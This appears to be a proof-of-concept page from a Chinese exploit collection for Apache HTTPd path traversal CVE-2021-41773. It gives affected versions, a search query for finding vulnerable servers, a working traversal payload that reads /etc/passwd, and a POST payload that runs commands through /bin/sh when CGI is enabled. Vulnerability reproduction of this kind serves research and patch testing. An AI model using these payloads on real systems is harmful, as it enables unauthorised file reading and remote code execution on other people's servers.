Awesome-POC/Web服务器漏洞/Apache HTTPd 路径穿越漏洞 CVE-2021-41773.md
2023-08-28 15:55:36 +08:00

39 lines
677 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache HTTPd 路径穿越漏洞 CVE-2021-41773
## 漏洞描述
Apache HTTPD是一款HTTP服务器它可以通过mod_php来运行PHP网页。其2.4.49~2.4.50-本中存在一个漏洞,可读取服务器中的任意文件
## 漏洞影响
```
Apache HTTPd 2.4.49~2.4.50版本
```
## 网络测绘
```
server="Apache/2.4.49"
```
## 漏洞复现
Chorme插件Wappalyzer获取 Apache版本
![image-20220525155347737](./images/202205251554093.png)
验证POC
```
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
```
![image-20220525155515446](./images/202205251555506.png)
开启CGI的情况下可RCE
```
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
B=|id>/tmp/id_txt
```